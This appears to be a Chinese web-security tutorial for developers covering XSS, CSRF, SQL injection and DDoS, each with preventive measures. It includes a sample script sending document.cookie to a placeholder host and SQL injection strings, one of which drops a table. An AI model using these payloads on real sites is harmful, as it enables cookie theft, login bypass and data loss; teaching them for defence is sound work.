常见 WEB 攻击与防御
作为一个 web 开发者,web 安全是需要了解的,web 攻击是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。从互联网诞生起,网络安全威胁就一直伴随着网站的发展,各种 web 攻击和信息泄露也从未停止。本文介绍常见 web 攻击方式及预防措施。
XSS(跨站脚本攻击)
CSRF(跨站请求伪造)
SQL 注入
DDOS
XSS
跨站脚本攻击指攻击者在网页中嵌入恶意脚本,当用户打开网页时,恶意脚本开始执行,盗取用户 cookie,用户名密码等信息
比如在一个发布内容系统中,攻击者在内容中嵌入类似的代码<script>window.open('www.xxx.com?param=' + document.cookie)</script>
,当用户访问这个页面的时候,就会执行恶意代码,该用户的 cookie 就会被发送到攻击者的服务器。
预防措施:
将重要的 cookies 标记为 http only,这样 JavaScript 中的 document.cookie 语句就不能获取到 cookie 了;
只允许用户输入我们期望的数据,如年龄的 textbox 中只允许输入数字,其余过滤;
对数据进行 Html Encode 处理,如<转化为 <;、&转化为 &;
过滤或移除特殊的 Html 标签,如:script、iframe;
过滤 JavaScript 事件的标签,如“onclick=”、“onfocus”等。
CSRF
跨站请求伪造指通过盗用用户信息以用户的名义向第三方网站发起恶意请求,盗取账号,转账,发送信息,删除数据等
用户登录信任站点 A -> 未退出访问恶意站点 B -> 从站点 B 发起访问站点 A 的恶意请求
预防措施:
Cookie 设置 HttpOnly,JS 就无法读取到 cookie 中的信息,避免攻击者伪造 cookie 的情况出现。
不使用 cookie 验证,改 token 方式验证
通过 referer 识别,验证页面是否是信任站点
SQL 注入
SQL 注入攻击是指把 SQL 语句伪装成正常的 http 请求,欺骗服务器执行恶意的 SQL 语句,达到入侵目的。
' or '1'= '1
。这是最常见的 sql 注入攻击,当我们输入用户名 jiajun ,然后密码输入'or '1'= '1
的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password=''
,经过参数拼接后,会执行 sql 语句select * from user where username='jaijun' and password=' ' or ' 1'='1 '
,这个时候 1=1 是成立,自然就跳过验证了。但是如果再严重一点,密码输入的是
';drop table user;--
,那么 sql 命令为select * from user where username='jiajun' and password='';drop table user;--'
这个时候我们就直接把这个表给删除了
预防措施:
对进入数据库的特殊字符(
'"\尖括号&*
;等)进行转义处理,或编码转换。在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等
避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。
DDOS
分布式服务攻击,借助公共网络,将数量庞大的计算器设备(肉鸡)联合起来,对一个或多个目标发动攻击,从而达到瘫痪目标主机的目的。
SYN Flood ,简单说一下 tcp 三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造 ip 地址,发出报文给服务器请求连接,这个时候服务器接收到了,根据 tcp 三次握手的规则,服务器也要回应一个报文,可是这个 ip 是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的 ip 地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪
CC 攻击,在应用层 http 协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。
DNS query flood 攻击者伪造大量无效域名,发送给目标服务器解析,这些域名均为无效域名,导致 DNS 服务器耗用大量资源去处理这些无效域名,造成 DNS 解析域名超时,达到攻击目的。
预防措施:
增加带宽,但是带宽非常昂贵
异常流量的清洗过滤
过滤不必要的服务和端口
高防智能 DNS 解析
部署 CDN
总结
以上只是列举了常见的 web 攻击方式,都是比较常见的 web 安全话题,以及一些防范方案实际开发过程中还会遇到很多安全问题,对于这些问题,我们都不可忽视,服务器上任何一个应用的漏洞都有可能是黑客攻陷服务器的突破口。除上述常见的几种方式,还有很多 web 安全话题,有兴趣的同学可以继续研究。
评论